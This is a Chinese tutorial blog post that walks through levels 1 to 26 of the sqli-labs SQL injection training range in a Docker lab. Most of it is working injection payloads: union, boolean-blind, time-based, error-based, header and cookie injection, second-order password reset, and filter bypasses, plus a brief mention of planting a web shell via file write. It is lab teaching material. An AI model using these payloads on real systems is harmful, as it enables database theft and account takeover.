本节的内容针对SQL注入漏洞,依托于SQL靶场—sqli-labs进行展开,sqli-labs是基于LAMP环境的靶场,过程中如有错误,还望指正,不胜感激。
由于VMWare专业版要收费,又不想使用盗版,故采用了VirtualBox 。VirtualBox是一款开源虚拟机软件。使用者可以在VirtualBox上安装并且执行Solaris、Windows、DOS、Linux、OS/2 Warp、BSD等系统作为客户端操作系统。
下载地址为[https://www.virtualbox.org/wiki/Downloads],可以根据不同的系统装不同的版本(https://www.virtualbox.org/wiki/Downloads)。
注意,windows11下载安装前需要下载Microsoft Visual C++ Redistributable packages。
选择64位的,下载好后可以安装了,所有软件安装路径建议不要装在C盘,其余选项默认即可。
由于我的专业是信息安全,故我选择我最常用的Kali Linux系统作为实验环境。
在官网https://www.kali.org/get-kali/#kali-virtual-machines下载,
选择VirtualBox版本,下载并解压号后,双击打开kali-linux-2023.4-virtualbox-amd64.vdi文件。
注意打开后,在网络那一栏需要将网卡先设置为NAT模式,最终配置好环境后为保安全起见,需要将网卡设置为仅主机模式。
然后启动系统,默认用户名为kali,密码为kali。
打开后可以在Display、Panel中设置界面字体外观。
然后右键打开命令行,输入sudo su
,切换到root权限,默认密码为kali。
由于下载工具的自带源很慢,故我们需要更换国内源,我这里用的是中科大的源。
修改/etc/apt/sources.list
文件,输入vim /etc/apt/sources.list
,按i进入编辑模式,将原本的路径注释掉,然后输入
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
编辑好后保存。
然后更新环境,逐条输入,
apt-get upgrade
apt-get update
apt-get clean
由于在github上下载sqli-labs太慢了,甚至无法下载,故我们使用docker搭建sqli-labs。
输入apt-get install docker.io
即可下载。
下载好后,我们输入docker search sqli-labs
搜索sqli-labs靶场。
我们选择第一个,输入docker pull acgpiano/sqli-labs
,将该靶场装到本地。
此时输入docker images
,发现本地有sqli-labs镜像了。
接下来,一条关键命令启动靶场:
docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
,
-dt
为后台运行,
--name
为给该镜像命名(我这里名字命为sqli-labs),
-p
指定端口,将docker的80端口映射到本机的8081端口,
--rm
为设置docker在退出时自动清理内部的文件系统。
此时我们浏览器输入127.0.0.1:8081
即可看到靶场了。
如何查看sqli-labs源码呢?我们可以通过先输入docker ps
查看正在运行的镜像的信息。
只有一个镜像运行,即我们的sqli-labs。复制其中的CONTAINER ID,然后输入docker exec -it [CONTAINER ID] /bin/bash
即可进入后台。
此时我们可以查看数据库MySQL信息,
也可以进入/var/www/html目录查看每一关的源码。
输入exit
即可退出,然后输入docker stop sqli-labs
,即可关闭该靶场。
每次启动靶场记得输入docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
。
第一关要求我们通过输入参数id来查看用户名信息,我们在127.0.0.1:8081/Less-1/
后面添加参数 ?id=1
。
可以看到出来了id为1的用户名密码,然后我们判断后台sql语句是字符型还是数字型。
输入参数?id=1'
,多填了一个引号'
是为了判断是否会闭合。
可以看到报错了,且发现有SQL语法中的LIMIT关键字。
LIMIT关键字的作用是返回搜索结果的指定行,LIMIT 0,1
说明从第0行开始,返回1行。只不过我们输入的是1'
,不是1
,报错了,说明存在闭合情况,我们将?id=1'
后的语句注释掉。
输入?id=1'--+
,发现正常返回。其中--
的作用是将后面的sql语句注释掉不执行,而+
的作用是一个空格,没有空格,--
的注释作用是不生效的,故这里用了+
,我们也可以在--
后面填一个空格和若干字符,比如?id=1'-- neos
,是一样的效果。
输入?id=1'%23
效果是一样的,也会正常返回,其中%23
是#
经过url编码后的符号,也是起到注释后面sql语句的作用。
故我们判断,后台sql语句是where id='1'
,不是where id=1
,因此是字符型注入。
这种情况下,操作步骤为:
1)获知数据表的列数;
2)获知具体哪几列在前端显示;(有时可忽略)
3)使用union关键字进行联合注入。
1)经测试,?id=1'order by 3 --+
,即列数为3。其中order by
为根据指定的列对结果集进行排序。我们这里最多排到第3列,当order by 4
的时候,页面报错。
2)然后我们查看这3列当中哪几列在页面显示,参数为?id=-1' union select 1,2,3 --+
,这里id=-1'
是为了让前一句SQL语句结果为空,只显示后一句的查询内容。
我们也可以将参数修改为?id=-1' union select 1,database(),version() --+
,将第2、3列要显示的数字替换为database()
、version()
,分别代表数据库名和数据库类型。
我们看到,第一列不显示,第二、第三列显示,故我们针对这两列进行下一步注入,获知更多信息。
3)正式开始爆破数据库、表、列、值。我们修改参数:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
group_concat(table_name)
的作用是将information_schema
数据库中,tables
表中数据库名为security
的那一列的所有表名合并成一个字符串,并将结果显示在第2列信息应该显示的位置。
其中information_schema
数据库是MySQL数据库版本大于5.0时自带的数据库,存放了当前系统中所有的数据库、表、列、索引、视图等相关的敏感信息。
数据表tables
存放用户创建的所有数据库的库名table_schema和表名table_name。
group_concat()
是一个函数,用于把表中若干行数据合并为一个字符串,由于只能显示表中的一行信息,故我们这里需要这个函数将结果集中全部行的字段合并为一个字符串。
可以看到,显示出来了 security 数据库中所有的用户表名。
我们继续爆破列名,修改参数:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
意思是显示表名为users数据表的所有列名。
可以看到,group_concat()
中的参数为column_name
,这是information_schema
数据库的columns
表中的列名。columns表记录了用户创建的所有数据库的库名table_schema、表名table_name、列名column_name,比tables表多了个column_name。
可以看到users表的所有列名,即属性名、字段名。
好了,列名也都知道了,也就可以最终查询表的内容,即值了。
我们修改参数:
?id=-1' union select 1,group_concat(username ,":", password),3 from users --+
OK,第1关拿下!
第二关和第一关一样,同样要求输入参数id来查看用户,我们在127.0.0.1:8081/Less-2/
后面添加参数 ?id=2
。
可以看到出来了id为2的用户名密码,然后我们判断后台sql语句是字符型还是数字型,即id='2'
,还是id=2
。
输入参数?id=2'
,多填了一个引号'
是为了判断是否会闭合。
可以看到报错了,输入?id=2' --+
,发现依然报错。
我们去掉引号,输入?id=2 --+
,发现正常显示,说明是数字型注入,后台语句为id=2
,不是id='2'
。
接下来就是跟第一关一样的步骤了:
1)经测试,?id=2 order by 3 --+
,即列数为3。注意跟第一关不一样的地方,测试语句中的id=2
,不是id=2'
。
2)然后我们查看这3列当中哪几列在页面显示,参数为?id=-1 union select 1,2,3 --+
,这里id=-1
是为了让前一句SQL语句结果为空,只显示后一句的查询内容。再次提醒,这里跟第一关的语句不一样,是id=-1
,不是id=-1'
。
我们将参数修改为?id=-1 union select 1,database(),version() --+
,将第2、3列要显示的数字替换为后台使用的数据库名和数据库类型。
3)正式开始爆破数据库、表、列、值。我们修改参数:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
其中的关键字在第一关都有介绍,这里不再重复赘述,不过要再次提醒,这里的id=-1
,不是id=-1'
。
可以看到,我们再次通过修改参数,显示出来了 security 数据库中所有的用户表名。
我们继续爆破列名,修改参数:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
其中的关键字第一关已经介绍过,这里不再赘述。
可以看到users表的所有列名,其中username,password是我们想要得到的信息。
好了,列名也都知道了,也就可以最终查询表的内容,即值了。
我们修改参数:
?id=-1 union select 1,2,group_concat(username ,":", password) from users --+
OK,第2关拿下!
第三关了,还是按部就班,我们先判断后台sql语句是字符型还是数字型。
输入参数?id=3'
。
报错了,不过可以看到错误信息与之前的不一样,多了一个右括号,故这里我们还需要考虑将括号闭合,故我们调整参数输入?id=3') --+
,发现正常回显,说明是字符型注入,后台SQL语句推测为id=('3')
,不是id='3'
。
1)跟之前一样,经测试,?id=3') order by 3 --+
,即列数为3。注意跟第一关不一样的地方,测试语句中的id=3')
,不是id=3'
。
2)还是同样的操作,查看这3列当中哪几列在页面显示,参数为?id=-1') union select 1,2,3 --+
。再次提醒,这里跟第一关的语句不一样,是id=-1')
,不是id=-1'
。
我们将参数修改为?id=-1') union select 1,database(),version() --+
,将第2、3列要显示的数字替换为后台使用的数据库名和数据库类型。
3)正式开始爆破数据库、表、列、值。我们修改参数:
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
可以看到,我们再次通过修改参数,显示出来了 security 数据库中所有的用户表名。
我们继续爆破列名,修改参数:
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
最终查询表的内容,我们修改参数:
?id=-1') union select 1,2,group_concat(username ,":", password) from users --+
OK,第3关拿下,通过这3关,我们可以知道SQL注入关键就是想办法将参数闭合!
第四关了,依旧先判断字符型还是数字型。
输入参数?id=4'
,正常回显。
输入参数?id=4”
,报错了,
判断错误信息,多了一个右括号,故这里我们还需要考虑将括号闭合,故我们调整参数输入?id=4") --+
,发现正常回显,说明是字符型注入。
1)跟之前一样,经测试,?id=4") order by 3 --+
,即列数为3。注意跟第三关不一样的地方,测试语句中的id=4")
,不是id=4')
。
2)还是同样的操作,查看这3列当中哪几列在页面显示,参数为?id=-1") union select 1,2,3 --+
。再次提醒,这里跟第三关的参数不一样,是id=-1")
,不是id=-1')
。
我们将参数修改为?id=-1") union select 1,database(),version() --+
,将第2、3列要显示的数字替换为后台使用的数据库名和数据库类型。
3)正式开始爆破数据库、表、列、值。我们修改参数:
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
可以看到,我们再次通过修改参数,显示出来了 security 数据库中所有的用户表名。
我们继续爆破列名,修改参数:
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
最终查询表的内容,我们修改参数:
?id=-1") union select 1,2,group_concat(username ,":", password) from users --+
OK,第4关拿下!
第五关了,依旧先判断字符型还是数字型。
这里发现?id=5
虽然不报错,但也不显示用户信息。
输入参数?id=5'
,页面报错。
输入参数?id=5' --+
,正常回显,说明是字符型注入。
这里跟之前不一样的是,之前有回显位,故可以使用union关键字,将注入的结果显示出来,但是现在不显示用户名信息,没有回显位,故我们选择布尔盲注,布尔盲注适用于网页对于错误和正确输入有不同反应的场景,手工注入虽然会出结果,但是极度费时间,我们先脚踏实地手动来一遍。
1)数据库名称的长度
我们调整参数?id=5' and length((select database())) > 5 --+
,这个参数用来根据页面回显情况判断数据库名称的长度。其中length()
函数返回字符串的长度,(select database())
返回当前数据库名称,> 5
表示数据库名称长度是否大于5,这个数字由我们自己给出,然后通过二分法最终确定长度。
下面为演示:
可以看到正常回显,说明数据库名称长度确实大于5,然后我们调整参数?id=5' and length((select database())) > 10 --+
,判断数据库名称长度是否大于10:
可以看到不正常显示,结合前面的结果,说明数据库名称长度大于5且不大于10。我们继续调整参数?id=5' and length((select database())) > 7 --+
,判断数据库名称长度是否大于7:
可以看到正常回显,结合前面的结果,说明数据库名称长度大于7且不大于10。剩下8和9,我们挨个判断,继续调整参数?id=5' and length((select database())) > 8 --+
判断数据库名称长度是否大于8:
发现不正常显示了,说明数据库名称长度大于7且不大于8,即数据库名称长度为8位。
至此,我们得知了数据库名称的长度,接下来就是获知数据库名称了。
2)数据库名称
这一步,我们需要挨个判断是每一位对应哪一个字符,也是非常费时费力的做法,我们调整参数:
?id=5'and ascii(substr((select database()), 1, 1)) = 115 --+
。
substr()
函数作用是截取字符串,我们截取的是(select database())
,即数据库名称,且截取从第1
位开始的第1
个字符。
ascii()
函数作用是将截取的字符转换成对应的ascii码,比如小写字母a-z
对应的ascii码的十进制数字为97-122,大写字母A-Z
对应的ascii码的十进制数字为65-90,十进制数字0-9
对应的ascii码为48-57。
= 115
意味着经过挨个尝试,我们最终确定,当ascii码 = 115,即对应英文字母s
时,页面正常回显。
说明数据库名称的第一个字符为s
,我们调整参数:
?id=5' and ascii(substr((select database()), 2, 1)) = 101 --+
继续测试下一位,注意,此时是从数据库名称的第2
位开始测试,最终在ascii码 = 101,即对应字母位e
时,页面正常回显。
测试我们知道数据库名称为se******
一共有8位,我们再挨个测试6位,即可获知数据库名称。
最终我们测得数据库名称为security。
3)所有数据表的表名合并一起的长度
继续调整参数:
?id=5' and length((select group_concat(table_name) from information_schema.tables where table_schema= 'security')) > 29 --+
group_concat()函数将结果集合并为一个字符串,各个结果中间用逗号,
连接,逗号,的ascii码=44。其余关键字之前都介绍过,这里不再赘述。
经过最终测试,所有表名合并一起的长度>28
时,页面正常回显,>29
时,页面不正常回显,说明长度等于29。
4)所有数据表的表名
跟测数据库名称时所用的方法一样,所有表名长度位29位,我们开始测试第一位,调整参数:
?id=5' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 101 --+
费时费力后,可以看到当ascii码=101,及对应的字符为e
时,页面正常回显,说明29位所有数据表表名的第一位字符为e。
最终将29位全部测试出来,结果为emails,referers,uagents,users
,注意,逗号,
也是测出来的。
5)所有属性名合并一起的长度
我想到这里你自己都会调整参数了,
?id=5' and length((select group_concat(column_name) from information_schema.columns where table_name= 'users')) > 20 --+
经测试,所有属性名长度为20位
,其中包括逗号。
6)所有属性名的名称
?id=5' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'), 1, 1)) = 105 --+
经测试,当ascii码=105时,页面正常回显,故测得所有属性名的第一个字符为i
。
一共20位,依次测完,结果为id,username,password
。
7)所有编号用户名密码合并一起的长度
?id=5' and length((select group_concat(id,username,password) from 'users' )) > 192 --+
经测试,所有数据项长度为192位。
8)所有数据的内容
?id=5' and ascii(substr((select group_concat(username,id,password) from users), 1, 1)) = 68 --+
经测试,所有用户名,id,密码
的第一位为D
,还有191位需要测试,借助上面的方法,最终可测得所有的用户名密码信息。
至此,我们才把第五关拿下,所花时间跟之前比不是一个数量级的,煎熬无比,所以我们一般都用自动化工具-比如著名的sqlmap来注入。当然,若想自力更生,我们也可以用python手动编写自动化注入脚本。
OK,第5关拿下!
和第五节一样,只不过为双引号闭合。
测试语句都一样,将?id=1'
变为?id=1"
即可。
OK,第6关拿下!
单引号报错,双引号正常,故为单引号闭合。
?id=1' --+
时报错,考虑是否有括号,单括号?id=1') --+
报错,双括号?id=1') )--+
正常,故为单引号双括号闭合。
测试语句和第五第六关都一样,将?id=1'
变为?id=1'))
即可。
其实题目是让我们用这个方法的,但设置的不好,文件写入需要知道文件存储的路径,可是本题没有回显位,你上哪去知道路径呢?
确实从前面几题可以获知路径,但是题与题间应该做到相互独立,这种获得文件路径的方式属于自己骗自己不是吗?
不过本着学习的目的,我们下面介绍一下这种方法。
在前面的关卡(比如Less-2)中输入参数?id=-1 union select 1,@@basedir, @@datadir --+
查看MYSQL的安装路径和MYSQL的数据文件路径。
故而我们知道了写入的文件是默认存放在/var/lib/mysql/
目录的,但是我这里这个路径不可写入。
我们调整参数?id=-1’)) union select 1,username,password from users into outfile '/tmp/test.txt' --+
,直接将查询到的用户名密码写入靶机的/tmp/test.txt
中。注意目标路径有可能不可写,所以一般写在/tmp
目录下。
也可以一步步来,先将数据库名写入这个文件中,然后再表名,列名,数据项内容。
或者写一句话木马,通过菜刀或者蚁剑连接。
不过,我们事先已经可以进入靶机,且有了root权限,也提前知道了文件路径,这样做并没有什么意义,所以才说本题不适合使用文件写入。
OK,第7关拿下!
单引号报错,双引号显示正常,故为单引号闭合。
除了显示信息不同,其余和第五关一摸一样,盲注解决。
OK,第8关拿下!
无论输入什么参数,都是正常显示。
这种场景就需要我们使用延时注入这种手法了。
延时注入和布尔盲注区别不大,而且一样费事费力,延时注入多了一个if判断和一个sleep()函数。
具体操作为if(x, sleep(4), 1)
:如果x结果为真,则执行sleep(4),页面延迟4秒回显;如果x为假,则执行1,立即回显。
我们构造参数?id=2' and if(1=1, sleep(4), 1) --+
,意思是如果单引号成功闭合,则延时4秒回显页面。
得知是字符型单引号闭合,接下来思路就简单了,通过修改if()中的判断语句,结合布尔盲注用到的length()
、ascii()
、substr()
来完成对库、表、属性、数据项的爆破。
1)数据库名称的长度
?id=2' and if( length((select database())) = 8, sleep(4), 1) --+
。
不断测试,测得数据库名称长度为8位。
2)数据库名称
?id=2' and if( ascii(substr((select database()), 1, 1)) = 115, sleep(4), 1) --+
测得数据库名称第一个字符为s
,剩余7位测完,得到数据库名为security。
3)所有数据表的表名长度
?id=2' and if( length((select group_concat(table_name) from information_schema.tables where table_schema='security')) = 29, sleep(4), 1) --+
测得所有数据表的表名长度为29位(包括group_concat()带的逗号)。
4)所有数据表的表名
?id=2' and if( ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), 1, 1)) = 101, sleep(4), 1) --+
测得29位所有数据表表名的第一位字符为e。
最终将29位全部测试出来,结果为emails,referers,uagents,users
,注意,逗号,
也是测出来的。
5)所有属性名的长度
?id=2' and if( length((select group_concat(column_name) from information_schema.columns where table_name='users')) = 20, sleep(4), 1) --+
测得所有属性名合并一起的长度位20位,其中亦包含逗号,
的数量。
6)所有属性名
?id=2' and if( ascii( substr ( (select group_concat(column_name) from information_schema.columns where table_name='users' ), 1, 1)) = 105, sleep(4), 1) --+
测得所有属性名的第一个字符为i
,一共20位,依次测完,结果为id,username,password
。
7)所有数据项的长度
?id=2' and if( length((select group_concat(id,username,password) from users)) = 192, sleep(4), 1) --+
测得所有数据项合并一起的长度为192位,其中包括逗号,
的个数。
8)所有数据项的内容
?id=2' and if( ascii(substr((select group_concat(username,id,password) from users), 1, 1)) = 68, sleep(4), 1) --+
经测试,所有用户名,id,密码
的第一位为D
,还有191位需要测试,借助上面的方法,最终可测得所有的用户名密码信息。
至此,第9关拿下!
测得为双引号闭合,需调整参数?id=1"
,其余语句和第九关一样,这里不再赘述。
OK,第10关拿下!
这一关开始有了登陆界面,参数提交也变成了POST方式,提交参数也由一个变成了两个,不过思路都是相同的:看看如何错误信息中有没有部分SQL语句显示出来、多试试如何闭合、然后union注入等。
只在Username中输入1’,发现报错,并且在错误信息中得知部分SQL语句。
我们可以看到,用户名为1’,密码为空,正是因为单引号'
导致SQL语句闭合失败。
由于用户名不可能是1,结果必为假,故就算将1’后面的SQL注释掉也不会出结果。
我们需要调整参数1' or 1=1
,这里用or 1=1
使结果恒为真,然后将后面的SQL语句注释掉,提交看看会回显什么结果。
这里发现使用--+
没有效果,没关系,注释的方法有很多,我们多试几个后发现原来是最后不可以有空格或URL编码,即最后用+
、%20
、%23
都不行,这里可以用-- neos
、#
。其中的含义再第一关开头介绍过,这里不再赘述。
故我们最终参数为1' or 1=1 -- neos
或1' or 1=1 #
,可能还有其他方式,大家可以提出来。
看到,回显了用户名密码(从之前通关过程看,这是第一个用户)。
接下来就简单了,跟前面几关联合注入构造的语句一样。
我又试了一下,发现还是有区别的,需要再赘述一下:
(1)测得后台数据表有两列,1' or 1=1 order by 2 -- neos
,其中需要or 1=1
使结果为真,才可以order by
成功。
不过这里居然把admin给显示出来了,我不太懂这里是为什么,大家懂的可以在评论区说一下,感谢。
(2)测得数据表有两列会回显,1' union select 2,3 -- neos
,其中的1代表没有为1的用户名,结果为假,不显示内容,故只会显示union后面的内容。有两列是显示的,正好后面测username和password;
(3)然后测库名,1' union select 1,database() -- neos
。
接下来就跟前几关一样了。
OK,第11关拿下!
本节是双引号单括号闭合,其余和上一关一样,就不多说了。
OK,第12关拿下!
本节测得是单引号单括号闭合,1') or 1=1 -- neos
。
由于只显示登陆成功或失败,不显示具体用户信息,故判断这里适合使用布尔盲注。
注意要用or
不能用and
,因为用户名没有为1的,or
前面结果一定为假。
库、表、列、数据项,总共八步:
1') or length((select database())) = 8 -- neos
库长度;
1') or ascii(substr((select database()),1,1)) = 115 -- neos
库名;
1') or length((select group_concat(table_name) from information_schema.tables where table_schema='security')) = 29 -- neos
所有表长度;
1') or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)) = 101 -- neos
所有表名;
1') or length((select group_concat(column_name) from information_schema.columns where table_name='users')) = 20 -- neos
所有属性名长度;
1') or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)) = 105 -- neos
所有属性名;
1') or length((select group_concat(username,id,password) from users)) = 192 -- neos
所有数据项长度;
1') or ascii(substr((select group_concat(username,id,password) from users),1,1)) = 68 -- neos
所有数据项内容。
我们现在介绍又一种新的注入方式,报错注入,报错注入适合以下情况:
1)页面正常返回时没有用户信息,即没有回显位。
2)参数格式输入错误时会有一定的报错信息。
在MySQL版本大于5.1中添加了对XML文档进行查询和修改的函数。
简单来讲就是多用了几个函数:updatexml()
、extractvalue()
等。这些函数都是基于XML、MySQL的。
XML指可扩展标记语言(eXtensible Markup Language),被设计用来传输和存储数据,不用于表现和展示数据。名字差不多的HTML 则用来表现数据。
updatexml()函数:
updatexml()函数使用不同的xml标记匹配和替换xml块,其有三个string格式的参数:XML_document
,XPath_string
,new_value
。
其中当路径信息XPath_string
格式出错时,MySQL就会爆出xpath语法错误,故我们通常使这个参数附带0x7e
,它时符号~
的ascii码,不符合路径格式,故会报错;XML_document
代表XML文档的格式名;new_value
用于替换查找到的符合条件的数据。
extractvalue()函数:
extractvalue()函数返回查询的字符串,其有两个string格式的参数:XML_document
,XPath_string
。
XML_document
代表XML文档的格式名;当路径信息XPath_string
格式出错时,MySQL就会爆出xpath语法错误,故我们通常使这个参数附带0x7e
,它时符号~
的ascii码,不符合路径格式,故会报错。
本关只演示updatexml()函数:
(1)数据库名:1') or (updatexml(1,concat(0x7e,database(),0x7e),1)) -- neos
。
concat把字符串0x7e,database(),0x7e拼接了起来。
(2)数据表名:1') or (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)) -- neos
。
注意,由于只能显示32位字符,故无法显示全group_concat()的内容,需要使用limit
关键字,limit 0,1、limit 1,1、limit 2,1…
(3)属性名:1') or (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)) -- neos
(4)数据项内容:1') or (updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)) -- neos
。
注意,由于报错信息只能显示一列的内容,所以还需要username和password交替测。
OK,第13关拿下!
本节测得是双引号闭合,1" or 1=1 -- neos
。
和上一关一样,页面正常只显示登陆成功和失败,报错时还会显示错误信息,可以使用上一关的布尔盲注或报错注入。
这里演示一下上一关没演示的extractvalue()函数:
(1)数据库名:1" or (extractvalue(1,concat(0x7e,database(),0x7e))) -- neos
。
(2)数据表名:1" or (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e))) -- neos
。
(3)属性名:1" or (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))) -- neos
。
(4)数据项内容:1" or (extractvalue(1,concat(0x7e,(select username from users),0x7e))) -- neos
。
OK,第14关拿下!
测得是单引号闭合,然而这一关没有报错信息,只有登陆成功或失败,所以使用布尔盲注。
具体技巧和第13关中布尔盲注的方法一样,这里不再赘述,注意闭合。
OK,第15关拿下!
测得是双引号单括号闭合,然而这一关没有报错信息,只有登陆成功或失败,所以使用布尔盲注。
具体技巧和第13关中布尔盲注的方法一样,这里不再赘述,注意闭合。
OK,第16关拿下!
这一关开始骂人了。
发现对用户名这一栏操作没有用了,根据页面内容,可以推测出需要在密码这一栏下手。
由于这一关是重置密码,意味着后台SQL语句中有UPDATE关键字,而MySQL中不允许同时更新和查询同一张表,所以这一关只能查询别的表的信息。
经测试,是单引号闭合。
这一关的用户名需要输入正确的用户名,而且只会回显密码修改成功这一种情况,所以不能用union和盲注了,但是会有报错信息,所以我们可以使用报错注入。
报错注入之前几关都讲过了,这里就不再展开了。再次提醒,MySQL中不允许同时更新和查询同一张表,所以这一关只能查询不是users的表的内容。
OK,第17关拿下!
这一关上来有个ip地址,并且输入的就算不是正确的用户名密码,页面也不报错,只显示登陆失败。
结合给出了一个IP地址,我们提交参数抓包看看。
在这之前,由于我们是docker环境,需要burp抓docker容器的包,故需要做一些修改:
命令行输入docker stop sqli-labs
关闭sqli-labs;
然后命令行输入docker run -dt --name sqli-labs -p 8899:80 --rm --env HTTP_PROXY="http://192.168.56.101:8080" acgpiano/sqli-labs
即给容器设置了一个代理,其中192.168.56.101为本机ip地址;
然后浏览器输入http://192.168.56.101:8899/Less-18
重新进入第十八关;
火狐中设置
burp中设置
这个时候可以抓包了。
注意,这里的用户名密码必须是正确的,实际环境中也就是我们已经注册得到的账户密码。
回显了User-Agent信息,故这里判断是Header型注入,注入点在User-Agent字段。
接下来判断闭合点,我们修改header中的User-Agent,最后添一个引号'
,
发现回显了错误信息,而且根据错误信息中的SQL语句,可以判断有三个参数:user-agent信息、ip地址、用户名,而且第三个参数后面还有一个括号闭合。
此时我们测出闭合点为比较特别的单引号单括号:1',2,3) -- neos
。
那我们可以借助这这结论,进行报错注入。
接下来就是经典语句了,这里我们利用extractvalue()函数,构造参数,修改User-Agent:1',2,extractvalue(1,concat(0x7e,(select database()),0x7e)))-- neos
,成功测出数据库名。
接下来的操作就跟之前一样了,这里不再赘述。
OK,第18关拿下!
和上一关一样,正确驶入用户名密码时,告知Header中Referer字段存在注入点。
我们在Referer后面加一个引号'
,发现回显错误信息,观察内容,发现会检测两个参数:Referer字段
、IP地址
,IP地址后面还有一个括号,故判断和上一关一样是比较特别的单引号单括号闭合:1’,2) -- neos
。
和上一关一样,报错注入,这里依然只演示一步:Referer:1',extractvalue(1,concat(0x7e,(select database()),0x7e))) -- neos
。
OK,第19关拿下!
当我们正确输入用户名密码后,页面显示Cookie信息,推测需要抓包对Cookie字段进行注入。
点击下方的按钮,进行抓包,
显示已经删除Cookie,这里由于按钮的功能是删除Cookie,所以就算修改了Cookie参数也会被删掉,我们在数据包中将这个功能对应的那行代码删掉即可。
重新抓包,修改Cookie:admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- neos
,注意这里是单引号闭合。
可以看到右边下方,测出来了数据库名,后面的报错注入操作跟之前几关一样了。注意,报错信息最多显示32位,所以有时候带有group_concat()函数的参数一次性显示不完,所以要借助limit关键字一个一个测试,之前也介绍过,这里不再过多赘述。
OK,第20关拿下!
这一关和上一关一样,只不过将Cookie字段做了base64编码,
经过将字符编码,我们测得单引号单括号闭合。
然后修改注入参数:admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))-- neos
在burp的Decoder模块中进行一下编码即可。
然后将参数改为下面那一串加密字符即可。
再次测出数据库名,其余的操作就不多赘述了。
OK,第21关拿下!
测得是双引号闭合,其余和第21关一样,这里不再赘述。
OK,第22关拿下!
这一关发现后台将注释符全都过滤了,我们只能不借用注释符将参数闭合。
单引号报错,双引号正确回显,说明是单引号闭合。
不能用注释符,我们可以使用or '1'='1
来闭合后面多出来的引号'
,这里用or
不用and
的原因后面解释,当参数为?id=1' or '1'='1
页面正常回显。
由于页面有回显位,故可以使用union注入。
我们构造参数?id=-1' union select 1,2,3 or '1'='1
测得数据表有3列。注意,这里不能用order by 3
,数字3
会和后面的'1'='1
冲突(应该是这样?);使用or
是因为需要前面的id=-1'
的结果为假,前面的查询结果为空,只显示union后的查询结果。
这里发现,数据表有3列,而且显示位只有第2位。
好的接下来就是库、表、列、数据项了:
库:?id=-1' union select 1,database(),3 or '1'='1
;
表:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
;
列:?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 or '1'='1
;
数据项:?id=-1' union select 1,(select group_concat(username,':',password) from users),3 or '1'='1
。
OK,第23关拿下!
页面要求我们输入或注册用户信息,这一关目的不是爆数据库了,而是通过注册一个账户后能够成功修改admin的密码。
我们注册一个用户名为admin' -- neo
、密码是12341234
的账号,单引号'
属于尝试,-- neo
是为了能成功注释后面的语句,使后台识别为admin用户。
我们登陆该用户,然后修改密码为1111111
,这时我们已经成功修改了admin的密码为1111111
!退出后登陆admin,登陆成功。
虽然在登陆界面对用户名密码做了加固,可是在注册界面却没有,我们就能注册一个带有恶意字符作为用户名的账号,然后通过修改密码成功将admin的密码修改。
感兴趣的可以研究研究后台的代码。
OK,第24关拿下!
这一关将or
和and
全部替换为空了,但是只替换一次,故我们可以用anandd
或者oorr
,后台会把中间的and
和or
替换为空,然后剩下and
和or
,成功绕过了。
经测试,单引号报错,双引号成功回显,判断是单引号闭合。
然后我们构造参数:?id=-1' union select 1,2,3 -- neos
,测出回显位信息。
然后就是经典的union注入了,注意informaion需要写为infoorrmation,password需要写为passwoorrd。
比如这里构造参数:?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' -- neos
,测出属性名。
其余就不过多赘述了。
OK,第25关拿下!
这一关没有登陆信息,也没有报错信息,所以使用联合注入或者盲注。
经测试,是数字型注入,接下来使用联合注入就可以。
这里演示测属性名的参数:?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3 || 1=1
OK,第25a关拿下!
还是单引号闭合,不过这一关将所有的空格、注释符和逻辑运算符都替换为空了。
第23关说过,注释符过滤可以通过使用单引号闭合后面的SQL语句。第25关说过,逻辑运算符可以通过双写绕过。至于空格绕过的姿势有很多:%09-TAB-水平
、%0a-新建一行
、%0c 新建一页
、%0d-return
、%0b-TAB-垂直
、%a0-空格
、每个关键字使用一对括号()
。我们这里使用最后一个加括号方法。windows环境下好像有问题,只能使用加括号的方法,所以尽量用Linux。
使用报错注入,我们演示测表名,构造参数:
?id=neos'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1))||'neos'='neos
。依旧要注意updatexml()函数只能显示32位信息,内容多的时候需要借助limit关键字。
当然了,联合注入也可以,这里演示一步操作:?id=neos'%0bunion%0bselect%0b@@basedir,database(),version()%0b||'neos'='neos
。
其中用||(or)
而不是&&(and)
的原因大家可以想一想。
OK,第26关拿下!
这一关是单引号单括号闭合,并且没有错误信息,故不能用报错注入了。
测回显位信息,构造参数:?id=neos')%0Bunion%0Bselect%0B@@basedir,database(),version()%0B||('neos')=('neos
